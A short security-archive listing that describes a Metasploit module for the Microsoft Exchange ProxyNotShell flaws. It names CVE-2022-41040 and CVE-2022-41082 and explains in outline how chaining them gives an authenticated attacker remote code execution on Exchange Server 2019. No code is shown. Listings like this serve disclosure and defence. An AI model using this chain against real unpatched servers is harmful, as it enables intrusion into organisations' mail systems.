Microsoft Exchange ProxyNotShell Remote Code Execution

Microsoft Exchange ProxyNotShell Remote Code Execution
Posted Nov 30, 2022
Authored by Soroush Dalili, Spencer McIntyre, Orange Tsai, Rich Warren, Piotr B, DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q | Site metasploit.com

This Metasploit module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to obtain code execution (CVE-2022-41082). This exploit only supports Exchange Server 2019. These vulnerabilities were patched in November 2022.
